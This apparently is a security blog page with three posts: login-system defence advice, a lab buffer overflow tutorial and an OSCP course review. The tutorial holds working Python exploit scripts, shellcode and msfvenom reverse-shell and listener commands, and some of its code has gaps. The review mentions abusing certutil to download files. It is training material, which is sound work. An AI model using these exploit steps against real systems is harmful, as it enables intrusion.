Attacking (and defending) username/password based systems – Part 2

In my previous post we looked at how an attacker might circumvent username/password based systems and saw there were several possibilities for attacking these.

In this article I want to look at this scenario from the perspective of the defender and look at what we can put in place to circumvent some of these attack methods.

Do you really want to implement this stuff yourself?

Before we look at implementing this ourselves I want to start off by saying that in many circumstances you are going to be much better off using an existing identity service such as Auth0 or Azure B2C (and there are many other options) rather than handling this yourself.

Companies such as Auth0 and Microsoft put a heap of work into creating very secure and feature rich implementations that have been tried and tested.

Additionally, most of these solutions will come with support for various other features such as MFA (Multi-Factor-Authentication), password reset flows, logging, alerts etc all of which would take a long time to build yourself (and some important features like logging and alerts tend to get forgotten).

These solutions are also pretty cheap at least until you get into having high numbers of users where you can probably afford to pay for them anyway.

However, let’s say for whatever reason you cant use one of these options how can we make our login system as secure as possible?

Multi Factor Authentication

You probably are not going to be too surprised to find this as the number one item.

We can divide the types of authentication into:

  • Something we know such as a password or PIN
  • Something we have e.g. a Yubikey, RSA token or smart phone MFA App
  • Something we are and that is unique like a finger print, retina etc

MFA based authentication simply means using more than one of these items.

Its highly unlikely (or at least very much harder) that an attacker will posses multiple of these items at once.

MFA will likely prevent (or make much harder)

  • Brute force/password spray/credential stuffing attacks
  • Could alert a user that someone’s trying to log in as them e.g. with an authentication prompt on a mobile device
  • Even if an attacker can capture (keylogger) or sniff a login over the network they still will need something else to get in

There are however downsides to consider:

  • Additional friction for login – but friction that’s almost certainly worth it for the benefits it provides
  • Can be complex for some users and require use of a modern mobile device which may make it unsuitable for some classes of users
  • Its hard to implement yourself and you’ll likely end up using a third party service which will incur a cost
  • You’ll need a way of resetting this when users lose/forget however you are implementing this

There’s a great blog post by Microsoft’s Alex Wienert (Director of Identity Security) who examines some of the attacks they see on Azure Active directory.

Alex says “based on our studies, your account is more than 99.9% less likely to be compromised if you use MFA.”

Alex also notes that most attackers tried between 10 & 50 passwords before moving on.

Microsoft put together a good paper on advice for password handling that you can read for free.

Some MFA systems can also be configured to block weird behaviour e.g. multiple login attempts from a different location or a login attempt from a location the other side of the world providing additional security protections.

There’s been some discussion around the security of SMS based MFA solutions over the years. Part of this is due to some really rather dumb and trusting processes by telecoms companies to authenticate callers before they port a mobile number (e.g. asking for easily discoverable information). Whilst other non SMS methods are probably more secure most users will have a phone and this means they dont have to install additional software. This makes SMS a pretty good option for some cases.

Disable account after series of invalid logins

Automatically disabling an account after a set number of invalid logins is easy to implement and will almost certainly prevent an attacker brute forcing an account.

Where this gets trickier is that this can become a denial of service vector and allow an attacker to prevent a user accessing their own account!

There’s a few ways you could handle this but probably the easiest is to disable the account for a short period of time and provide a way to enable it again e.g. by time limited email link.

Ensure secure connection

Ensure connections to your login page (and subsequent pages as these will contain authentication related cookies/tokens too!) are made over a secure connection.

Its trivial for an attacker using a tool such as Wireshark or Tcpdump to sniff information being sent over a network such as login details but a secure connection will prevent this.

A certificate will also provide reassurance the user is logging into the correct site – although I’ve seen many organisations use some entirely different domain addresses to their main site which is a bit confusing.

Ensure Passwords are complex but er not too complex

Ensure users set passwords with sufficient complexity to avoid easy brute force attempts.

Perhaps you could even use one of the smaller lists at to check the password is not in a top 1000 password list for example.

There’s a balance to having sufficient complexity requirements to make a password hard to guess/brute force crack and encouraging users to find (insecure) ways to remember it!

Forcing rotation of passwords also needs to be balanced against this as most users will just increment a number on the end or something similar.

Don’t restrict characters, length or truncate passwords

Restricting characters, length or truncating a password reduces its complexity and there’s really no good reason (maybe integration with something really old that cant be changed?) to do this.

Store passwords securely

OWASP provide detailed advice on the best way to do this – at the time of writing they suggest the hashing function Argon2id (I hadnt heard of this either) with 2 iterations and 1 degree of parallelism. Note that Argon2id also salts the password to make it harder to crack.

Don’t give anything away with your invalid login messages

Provide the same response for valid/invalid usernames and passwords and if an account is locked out to prevent an attacker using this as an enumeration method. Even subtle changes in rendered HTML like an extra whitespace character could be used to give away details of whether a username is valid or if an account is now locked out.

Logging & Alerts

Whilst there will always be some perfectly legitimate invalid logins where users have forgotten their password or made a typo you’ll probably want to know if there are 100 or 1000 of attempts on an account or a heap of attempts from the same IP address (be aware applications and scripts that will rotate through servers or proxies to avoid this).

Having some form of an alert system can allow you to take a decision on how you want to handle this such as blocking the IP address/network or disabling the account.

Logging is really important as allows you to understand what has happened, where the issues may be and potentially could be important if an attacker gains access to further systems. You may even need it for legal action.

Obviously don’t store your logs in the same place as your solution as guess where an attackers going first if they are successful getting onto your system..

Ensure Users Keep their details up to date

You’ve probably seen that annoying prompt every so often from sites where they check your contact details. Whilst some are probably doing this to spam you it is important these details are up to date so they can contact you and potentially have a way for you to re-enable your account if it is blocked.

Require the user to enter their password to perform a sensitive functions

Privileged operations such as change of email address or password should require additional authentication to prevent say an attacker changing a password or transferring money if a machine has been unlocked or perhaps a CSRF attack.

Make your solution Password Manager friendly

Password managers are a great solution to the problem of having to remember a heap of logins. Some sites disable features such as paste into login boxes or prevent the use of certain characters which can stop password managers working so well. Don’t make your users lives harder these tools make it easy to use complex passwords across sites.

Be wary about using the same authentication systems externally and internally

Whilst it may be very convenient to have an externally facing web application you have developed use your internal networks active directory (and there’s some benefits of centralisation or legitimate use cases) this could very much weaken your network security by providing another (and likely very much weaker point) to attack. E.g. if there’s an issue in your application that it could be potentially used to gain wider access depending on how this is implemented.

Don’t use/allow highly privileged accounts to login in remotely

This is probably veering off the appsec side of things which is where I want to focus but you probably should not connect remotely using highly privileged accounts as this could provide an opportunity for an attacker. Instead have separate privileged accounts that are just used when required.

Be aware of language specific issues

Some languages and frameworks provide special functions to compare password hashes. Note that some languages/frameworks e.g. PHP have some issues you should be aware of such as Magic hashes.

Geographical and time restrictions

Are you users only located in one country?

If so restricting to requests to a specific country could prevent evil bots that crawl the internet discovering your service and make it slightly harder for attackers.

Obviously, there are a heap of ways around this such as VPNs, use servers in another country etc so this should only be used in conjunction with some of the other methods we’ve discussed.


In summary:

  • Don’t build this stuff yourself unless you have to
  • Use industry standard protocols such as OAuth
  • Use MFA
  • Disable accounts after a number of invalid login attempts
  • Enforce balanced complexity requirements
  • Ensure you have alerting and logging in place

Further Reading

OWASP have a great cheat sheet to implementing authentication:

Beginning Buffer Overflows (saved return pointer overwrite)

Most technical folks will have some level of familiarity with the concept of buffer overflows and the impact they can have.

Offensive Security’s OSCP/PWK course was the first time I’d gone through the process step by step to create one.

You’ll find several write-ups of how to perform this process but I wanted to write this up myself as:

  1. It helps me get the idea concrete in my own mind and writing this out forced me to answer some questions I didn’t understand – and it raised a few more questions for me too!
  2. You need to know how to do this to pass the OSCP exam and this seems to be an area that scares folks – especially those with an infra rather than dev background which is understandable. I think this is a shame as the steps seem straight forward, can be practiced and its worth a massive 25% of the total possible exam marks. This seems an easier 25 marks than exploiting the “hard” 25pt box
  3. I found the concepts interesting 😊

If you find any technical mistakes here please let me know as I’m still learning this stuff and want to know 🙂

Very Important! Only run on services/machines you own or have permission to

It should go without saying but you must only run this stuff on services or machines that you own or have permission to perform this on and be sure to update the code for your own setup.

Running stuff like this on machines you don’t have permission to could get you into a lot of trouble/cause damage/even Jail..

With that out the way the good news is that there are plenty of really good and legal options to practice this stuff such as:

  • Locally in a VM with various intentionally vulnerable apps (I’ll discuss how to do this shortly)
  • TryHackMe have a room with many examples for practicing ()

Other items of note

We should note that this is probably the simplest possible example of a buffer overflow possible.

Modern applications are compiled with special options (ASLR etc) that will make this process much harder/impossible and modern operating systems have additional checks to prevent this naughtiness.

There’s all sorts of stuff I don’t understand yet designed to prevent this from randomising addresses to putting stuff on the stack and checking it’s still there (stack canaries).

However don’t think however that Buffer Overflows don’t occur any more as there are many examples in some well known applications and they continue to be a massive issue.

Credits – Justin Steven Do Stack Buffer Overflow Good Tutorial

I’m going to base most of the code from code in Justin Steven’s awesome tutorial. This is a really great tutorial and I highly recommend you work through it as he goes into a lot more detail than I will.

Be sure as well to check out the Cyber Mentor’s Buffer Overflows made easy series on YouTube – I love how he explains stuff.

What you will need to follow along

If you want to follow along with my example that’s based on DoStackBufferOverflowGood tutorial you’ll need the following:

  • DoStackBufferOverFlowGood Tutorial and intentionally venerable app. I am going to make use of the excellent buffer overflow tutorial and code created by Justin Steven.
    Another option you could also use is VulnServer. In fact you should try this too. This app has several buffer overflows for you to practice. The easiest uses the TRN command and you’ll need to send “TRN /.:/” (the dot is needed as the app checks for it)
  • Kali VM ( in my example)
  • Windows VM ( in my example)
    You want an older version of Windows which does not have various protections in place. I used Win7 VM with IE11 x86 from
  • Immunity debugger ( You need to install this on the windows machine
  • Mona Immunity extension Python scripts installed. These scripts are copied to Mona extensions directory and add additional functionality we will use


Creating a buffer overflow has several steps and it’s important you don’t skip a step. If you do then it becomes very difficult to work out why stuff isn’t working so don’t be tempted to – it will save you time I promise!

So what are the steps?

  1. Check connectivity to the venerable app from Kali to Windows. We’re going to check we can connect to the vulnerable application with NetCat (nc) and send it some data
  2. Trigger the buffer overflow. We’ll write a python script and send data of sufficient length to trigger a buffer overflow
  3. Work out exactly how much data to send so data ends up in the EIP register. The EIP (Extended Instruction Pointer register) tells the computer where the next command to execute is and by putting data here we can control the program flow muhahaah
  4. Confirm we have targeted the EIP correctly. We will confirm we have everything right by adding the characters “BBBB” and checking they are in the EIP
  5. Remove Bad Characters. We cant use some characters in our buffer overflow for various reasons as they will stop our buffer overflow working. These are things like 0x00 which terminates strings.
    We’ll send the vulnerable app a list of all the possible characters then compare what is in memory to what we sent. If a character is not in memory we wont use it in Step 6 and 7 where we generate code (it’s a baaad character!)
  6. Locate the address of JMP ESP instruction in the app or it’s libraries. You might think you can just add our code to run at this point.
    Unfortunately, we cannot guarantee where stuff will be in memory so we cannot hardcode this. The solution is we’ll find the address of an instruction that stays the same and will return us to our shell code.
    We’ll look for a JMP ESP instruction as this will direct the flow to code at the ESP (Extended Stack Pointer or where we are on the stack) where our shell code will be ready & waiting. We’ll also need to remember to encode this in a special way as x86 processor will expect numbers or memory addresses stored back to front (code and ascii strings are front to back for reasons I don’t understand). This is referred to as little endian architecture.
  7. Finally we’ll generate our (shell) code we want to run using a tool called msfvenom. Shellcode is assembly code that the CPU knows how to execute directly. We’ll generate some (shell) code that will run calc.exe. Whilst you could also generate a reverse shell (a connection back to your machine) it isn’t a bad idea to do the simplest thing possible so you can be sure your code is working and are not facing other issues such as a firewall blocking your reverse shell.

    We’re nearly ready to go but we have one more issue to work through. When we generate shell code with msfvenom it can end up overwriting a few bytes at the top of the stack whilst it works out where it is in memory using an operation called GetPC (Get Program Counter). This can stop our shell code working.

    Two approaches to solving this are:
    Adding a load of empty (NOP or No Operation) instructions prior that wont do anything and can be safely overwritten. This is called a NOP sled
    Add a special machine code instruction to subtract from the ESP and move it up the stack away from the code we’ll generate

I picture the whole process looking something like the following.

I’m not convinced I have the order right here (and judging by other conflicting articles I read this confused others too). You dont need to understand this if you follow the process but I found it quite confusing the direction stuff was happening, variables were being added to the stack etc.

Step 1 – Confirm Connection

Before we do anything let’s check we can talk to the vulnerable app from our Kali machine so we know we have connectivity.

Make sure the DoStackBufferOverflowGood app (I’m going to call this the “app” now as this name is a bit long) is running. When it’s running you should see a console app listing the bytes received etc. You should also check the firewall is disabled on Windows machine. Next log onto your Kali machine.

I’m then going to use nc to confirm the connection (windows machine is and its listening on port 31337) and send it “hello”:

You should get a response back from the app and in the Windows machine see it confirming bytes sent.

Ok we’re ready to write some code.

Step 2 – Python script to trigger bug
We’re now ready to write some code to send enough data to the app to trigger an overflow error.

On the Windows machine do the following:

Close the app as we’ll run it in Immunity from now on
Open the app in Immunity debugger
The app may pause at some points. Press the play button until the app shows the current status as “running” in the bottom right corner. Whenever you re-open the app you’ll need to do this
Back to the Kali machine where we’ll trigger the issue.

Make sure you update values to your setup otherwise it wont work or you could be sending some stuff to a machine you don’t have permission to (which er probably will do nothing but make sure you are not doing this).

You’ll need to change some of these values for your lab environment:
RHOST refers to the Windows machine the vulnerable app is running on
RPORT the port it is using (will be 31337 for this test app).

Note the line that reads: buf += “A”*1024 this is the number of A’s we’ll send the app to trigger the issue:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += "A"*1024
buf += "\n"


Save your script (I called mine and give it executable permission with:

chmod +x

We should now be good to run it with:

% ./

If you have done everything right then you should see the app should crash and an access violation in Immunity. If you go to the register pane (top right) you should see the value 41414141 in EIP register. 41 in hex is 65 and 65 is the ascii code for “A” if you wondered where this came from – these are all the A’s we sent.

Step 3 – Work out how many characters it takes to overwrite EIP

The next thing we need to work out is exactly how many characters we need to send where we reach the point where we overwrite the value in the EIP register. My understanding is this value would normally tell the function where to return to. We’ll make use of this to redirect it to our shellcode later!

Whilst you could send these characters one at a time using trial and error to work this out there is a quicker way and we’ll use Metasploit’s pattern_create script. This will generate a sequence of unique characters we can send and then compare what ends up in the EIP to work out the position.

On the kali machine run the following command to create this pattern – note the -l 1024 is the length of the pattern we will create. As we know we can trigger this by sending 1024 A’s this will be enough:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024

We’ll then take this pattern generated and update the code to send this pattern:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf = ""
buf += ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab"
  .. #ommitted for brevity
buf += "\n"


Remember to restart the app on the Windows machine and make sure its in a running state before running the script.

The application should crash:

We then need to see what characters ended up in the EIP register.

Here we can see the numbers 39654138:

On the Kali machine we’ll pass this number into a special script called pattern_offset.rb to work out this position:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39654138

This script should return the following message:

Exact match at position 146

Great – remember this number as we’ll need it for the next bit.

Stage 4 – Confirm we have the correct offset

OK things are looking good but we want to check this position is right so we’ll attempt to put 4x B’s in the EIP.

Note that the hex ascii code for “B” is 42 (42 in hex is 66 and 66 is B in ascii):

Update the code to the following – noting we added the position returned from the script below:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf_totlen = 1024
offset_srp = 146

buf = ""
buf += "A"*(offset_srp - len(buf))    # padding
buf += "BBBB"                         # SRP overwrite
buf += "CCCC"                         # ESP should end up pointing here
buf += "D"*(buf_totlen - len(buf))    # trailing padding
buf += "\n"


Again restart the app in Immunity and check its in the running state. When the app crashes you should see 42424242 in the EIP register (our 4x B’s).

This is awesome as we now have confirmed we can put what we want in the EIP (referred to as having control of the EIP):

Step 5 – Find Bad Characters

We’re not finished yet however and most apps will have some characters that for various reasons will stop our buffer overflow working.

It appears that almost always this will include 0x00 (NUL which also means end of string in C/C++) and often 0x0A (new line).

To work out what these characters are we will send all the possible bad characters and see what ends up in memory taking note of anything missing.

There’s a couple of ways to do this.

  • Using the mona command !mona bytearray will generate a list of bad characters for you to send and compare
  • Programmatically creating a file containing bad characters in code

I’m going to use Justin’s approach that generates a file with all the bad characters in range 0x00 to 0xFF which we can then copy to the Windows machine and compare in Immunity.

Our code is now:

#!/usr/bin/env python2
import socket

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

badchar_test = ""         # start with an empty string
badchars = [0x00, 0x0A]   # we've reasoned that these are definitely bad

# generate the string
for i in range(0x00, 0xFF+1):     # range(0x00, 0xFF) only returns up to 0xFE
  if i not in badchars:           # skip the badchars
    badchar_test += chr(i)        # append each non-badchar char to the string

# open a file for writing ("w") the string as binary ("b") data
with open("badchar_test.bin", "wb") as f:

buf_totlen = 1024
offset_srp = 146

buf = ""
buf += "A"*(offset_srp - len(buf))    # padding
buf += "BBBB"                         # SRP overwrite
buf += badchar_test                   # ESP points here
buf += "D"*(buf_totlen - len(buf))    # trailing padding
buf += "\n"


Save this script, restart the app in Immunity and run the script.

The app should crash as before and if we go to the register pane, right click on ESP and select the follow in dump option we should see what’s in memory:

If we go through the characters in order we can see 00 and 0A are not where we’d expect to find them ordered with the other characters:

There is an easier way however than manually looking through every character. Simply copy the generated file to the Windows machine C drive and run the following:

!mona compare -a esp -f c:\badchar_test.bin

Mona will then do a comparison and show us the values missing:

These are our bad characters. Take note of these as we’ll need them in a short time when we generate the code we want to run.

Stage 6 – Find a JMP Point

Now you might think you have everything you need to generate your code but there’s one more step we need to do.

We need to find a location in memory that wont change to put into the EIP.  We need to do this as:

  • The operating system may end up randomising some addresses
  • Stuff may move around in the app e.g. if it had multiple threads handling connections

There are certain things that will always be at the same location (gadgets) we can point the app at that will then return execution flow to where our shell code is ready and waiting.

We’ll look for an instruction called JMP ESP.  We can tell Mona to search all of memory for this instruction and also make sure that it doesn’t contain our known bad characters:

!mona jmp -r esp -cpb "\x00\x0A"

Mona has returned the following addresses:



We also need to check these points don’t have memory protection things enabled so check the ASLR, Rebase etc are all set to false.

If we want we can see the instruction at these addresses by right clicking on the address and selecting the “Follow Disassembler” option.

You should see JMP ESP command at both locations:

So now we have an address of a gadget we can use (0x080414C3).

However the CPU needs us to present this back to front (little-endian encoding).

We could either reverse this manually ourselves or import struct library and use .pack method – I think this is probably better as less error prone and its very easy to make a simple mistake.

Stage 7 – Generate Shell Code

Ok we’re almost ready to generate our code.

We’ll use a tool called msfvenom to generate machine code to fire up good old calc.exe!

Why kick off calc.exe – whilst you could go straight to a reverse shell its not a bad idea to do the simplest thing possible.

A reverse shell has other stuff that might get in the way e.g. firewalls/networks and if you don’t get a connection back you wont know whether it’s your exploit code or this. Firing up calc confirms our code works.  

We’ll generate shellcode using the following command and be sure to pass in the bad characters we found (\x00 and x0A):

msfvenom -p windows/exec -b '\x00\x0A' -f python --var-name shellcode_calc CMD=calc.exe EXITFUNC=thread

Note if you want to generate a reverse shell below is the code you will want:

msfvenom -p windows/shell_reverse_tcp -b '\x00\x0A' LHOST=KALIIP LPORT=KALILISTENINGPORT -f python --var-name shellcode_calc

There are some gotcha’s you need to be aware of here:


  • Make sure you pass in the bad characters we have identified to msfvenom. Thats the bit that says -b ‘\x00\x0A’
  • It’s probably best to do the simplest thing like run calc.exe before trying to create a reverse shell to make sure your code is working before introducing additional complexity. There could be several reasons a reverse shell wont work such as connections being blocked
  • If you are creating a reverse shell make sure you can accept connections from the Windows machine by adding firewall exceptions
  • Make sure you have something listening to catch the reverse shell! (e.g. nc -lvnp 4444)

There’s one final step we need to do.

The first few bytes of our shellcode could get overwritten accidently. This is apparently because the generated code needs to work out where it is in memory which can involve a call to a routine called GetPC which can overwrite some of the shell code. We want to make sure this doesn’t happen.

There’s 2 ways of doing this:

  • Put a load of empty instructions that can be overwritten (NOP sled)
  • Add an instruction to move the ESP away from our shell code

Option 1 – NOP (No Operation) sled
Add below before shell code:

buf += “\x90” * 12 #NOP sled

x90 is the x86 instruction for doing nothing in case you are wondering.

Option 2 (better practice)

We can generate an instruction to move away from the Shellcode with metasm_shell e.g.

sub esp, 0x10

This is considered better practice and uses less space which could be important if you have limited bytes to work with.

So our final code will look something like:

#!/usr/bin/env python2
import socket
import struct

RPORT = 31337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

buf_totlen = 1024
offset_srp = 146
ptr_jmp_esp = 0x080414C3 #JMP ESP gadget location

shellcode_calc =  b""
shellcode_calc += b"\xb8\xa9\x2c\x37\x99\xda\xc5\xd9\x74\x24"
shellcode_calc += b"\xf4\x5b\x31\xc9\xb1\x31\x83\xeb\xfc\x31"
... #ommitted for brevity

buf = ""
buf += "A"*146      # padding
buf += struct.pack("<I", ptr_jmp_esp)   # SRP overwrite
buf += "\x90" * 12 #NOP sled
buf += shellcode_calc               # ESP points here
buf += "D"*(buf_totlen - len(buf))      # trailing padding
buf += "\n"


I found Immunity could sometimes interfere with the shell code so I’d close it out of Immunity and run as an app.

All being well you should see calc pop up on the Windows machine!

Next you might want to generate reverse shell code and replace the calc code in

Here’s a reverse being caught using this approach:

Thoughts on PWK/OSCP Course

This year I wanted to improve my security knowledge and understand how an attacker would approach compromising an application so I could better secure solutions I was involved in developing.

I suspect most developers (including myself) learn about security from a mainly theoretical perspective and wont be exposed to an attackers methodology, tools or techniques. I think this is probably a mistake and most of us would benefit from seeing or having hands on (legal!) experience so we can build more resilient and secure applications.

I wasn’t sure where the best place to start with this was but my manager Horay had previously suggested that certifications in addition to providing proof of knowledge can be a good option by providing a learning path to work through. They also ensure you cover some areas that you might not cover on your own.

I had a look at what was available in the security cert space and there were a few options. Previously I’d chatted with one of my colleagues (hello Vats!) some time ago about Offensive Security’s Penetration Testing with Kali Linux course. This course concludes with a 24hr exam where you have to compromise a number of machines and then another 24hrs to write up how you did it and I was kind of intrigued by this.

The PWK is a self-study course aims to introduce you to penetration testing methodology, key tools and approaches. I understand this qualification is well respected in the industry due to the tough nature of the test and is currently pretty much essential for those wanting to start a pen testing career.

The course
The course costs start at $999 USD at the time of writing. This gives you 1 month’s lab access, 850 page PDF, a set of videos and access to their forums. It’s not cheap but I don’t think its unaffordable either and cheaper than your average multi-day conference. I felt overall it was good value for the money although I’ve listed some cheaper options at the end of the article.

Probably one of the best things about this course is the lab. You connect to the course lab using OpenVPN and it’s made up of an extensive set of machines (70ish) and connected networks all waiting for you to compromise them. I don’t want to spoil any surprises as participants will enjoy the details but I will say that a lot of thought has gone into the setup of this and its not just 70 separate machines..

One thing you should be aware of and that creates some pressure is that when you enrol in the course you have to select a date to start. Your lab time will then start ticking down from this date so make sure you have cleared some time in your schedule as this course will consume substantial time..

How long is enough lab time?
Unless you are studying this course full time (how good would that be?) or have prior security experience and are doing this for the certification most folks will need 2 or 3 months lab time at least. From what I read multiple extensions and exam retakes are common.

I enrolled in the course with 2 months lab access. I work full time in a demanding job and am a single parent with 2 little kids and I worked on the course mostly once the kids were in bed or at weekends. I made it through the book & exercises and compromised about 16 machines in the lab and another 10 or so on Hack the Box (more about this later). This was fun but exhausting and I’m not sure I’d recommend this pace. If you can do get more lab time – you wont regret it.

You can extend your lab time afterwards but it is more expensive to extend than upfront (currently $359 USD for 30 days). There are also other cheaper practice machine options but we’ll get to that.

Pre-Req Knowledge
To make the most of the course you will need to have knowledge in 4 main areas:

  • Networking (basic stuff – DNS, TCP/IP basics, ports etc)
  • Linux (intermediate?)
  • Windows (basic)
  • Programming (basic and comfortable modifying Python & Bash scripts. I’d rarely worked with Python but it was trivial to make the basic mods necessary during the course e.g. setting variables, basic logic)

For those of you starting out in IT I probably wouldn’t recommend this course as a starting point and guess you’d get frustrated pretty quick. Even if you know you want a pen testing career you’ll probably get more from it with a few years dev or infra experience. Having said that I did read some blog posts from a few folks who had jumped right in and had success so each to their own I guess.

I think most folks coming to this course unless they are coming from the security world already will find they have at least one weak area in the above. For me it was limited Linux experience and knowledge although this was offset by a software development background and understanding of web applications. An unexpected benefit I found was that by the end of the course I had a good working knowledge of Linux and loved working with it 😊

What I enjoyed
I really enjoyed this course and loved the range of subjects and areas it covered.

I think this was probably the most fun course I have ever done and you get a genuine rush when compromising one of the lab machines which was er weirdly addictive and led to some late nights as I worked through a tricky problem.

By the end of the course, you will have a decent understanding of the methodology pen testers (and I guess also attackers) will approach compromising a machine and network.

This gave me a new perspective on development projects and will assist with the development of secure software.

For me the highlights of the course were:

  • Compromising my first lab machine. I cannot stress enough that the lab and most of the exercises are really fun, time will fly and it doesn’t feel like work
  • Whilst I was familiar with the concepts of subjects like buffer overflows it’s a different thing altogether to create one yourself and having it initiate a reverse shell 🙂
  • I was surprised at how sophisticated some of the common tools were and how easy they made tasks e.g. MetaSploit & SQLMap
  • Playing with assembly – cant think of when I have done this outside of uni!
  • SSH tunnelling – wow didnt know you could do some of this stuff!
  • Abusing various inbuilt Windows and Linux functions to do things like download a file from a remote machine using regsvr, certutil etc

What I wish I had known
Offensive Security have a motto “Try Harder” that you’ll come across this many times in the course materials and forums.

I can imagine that pen testers require resilience and perseverance and if you are not the sort of person who will get curious about a problem and work through it then you probably wont enjoy this course or pen testing for that matter. However, let’s remember you are doing this course to learn and there is a point where “Try Harder” is not useful (“Bean dad” anyone?).

You have limited lab time and want to make the most of this. Whilst you can and will learn something researching a challenging topic there’s a point where you are probably better off getting some help. In this course help will come mainly from the forums.

At the beginning of the course I got stuck on a machine for nearly a week. Whilst I learnt stuff trying to work through this issue I probably should have looked at the forums earlier to learn a concept I wasn’t aware of. I also would have found this wasn’t one of the best machines to begin with. When you start you also want something matching your skill and experience level so you can practice the basics without getting frustrated and not getting anywhere. My advice would be to set a time limit and then look at the forums if you are stuck to help you get past the blockage then continue on your own.

Offensive Security provide a lab learning path of machines they suggest you work through. I didn’t spot this at the beginning even through its on the lab machine control page doh. This has 10 or so machines to work through with the first 2 having a detailed step by step write-ups in the forums. Do look at this as you’ll learn a lot especially with the first 2 writeup’s!  

The machines are of varying difficulty and by the end I could exploit 2-3 in one night with I think the quickest being 15 or so minutes and the longest a week (at the beginning of the course!).

For most machines you’ll run a port scan and maybe some other scans and then work through the various services. It took me a while to realise this but its very easy to get stuck thinking one option is certain to be the route in. This is a trap! Set a time limit for each service/hole and then work through them systematically. You will be amazed what you missed when come back round or what you might discover on another service you haven’t looked at yet.

For me I mostly found I could get a foot hold on most machines fairly easily but the challenges came around privilege escalation.

Privilege escalation is where you have some kind of access to a machine but it is of a limited level and you then attempt to increase this access. There’s various ways of doing this from exploiting misconfigured setups and binaries to full on kernel exploits. As a beginner I found this area the hardest and had to grind through all the options which could be tiring and frustrating but worth persevering with.

Tib3rius has two really great privilege escalation courses on Udemy (one for Linux and one for Windows) which I wish I’d watched earlier in the course and would highly recommend.

I haven’t taken the exam for this course yet (that’s in a couple of months as I wanted a break over xmas period and need to get some practice in!) so cant comment on that aspect yet (you’ll find a heap of posts around others experiences). I will say however that really enjoyed this course and learnt a lot from it so would highly recommend it. It also had the unexpected benefit for me of massively upgrading my Linux skills 🙂

For those folks not caring about the OSCP Certification or wanting a cheaper option Heath Adams’s (the Cyber Mentor) Practical Ethical Hacking course is amazing value at AUD $10.99 for over 24hrs content.
This covers much of the same areas as PWK and is really well put together (I also think the Windows AD stuff in examined in more depth).

Other Resources
Now it should go without saying that trying to compromise machines you don’t have permission to do so is illegal and shouldn’t be done under any circumstances.

There are several great and free/cheap services offering legal and great options to practice against that can help you prepare for the course:

Hack the box has many machines to practice against and some are similar to those on the course. If you’ve never done this stuff before however do not start here as you’ll get frustrated quickly as there is little to no guidance provided. I’d recommend the paid version of the service as it gives you access to older machines that have detailed write-ups if you get stuck.

TryHackMe have many “rooms” that take you through the development of various skills and experiences e.g. specific tools and techniques. If you are not sure if this stuff is for you then the recent Advent of Cyber room is a really nice basic intro to some basic techniques:

IppSec YouTube Channel. IppSec provides video walkthroughs of hacking various (mainly HackTheBox) machines. This guy is a genius and entertaining to watch. I’d watch a few videos each week and found I would learn heaps and come across some great tools and techniques.

Linux Smart Enum. This script makes it really easy to see Linux privesc options more than the better known LinPEAS and LinEnum. Highly recommend adding to your toolkit.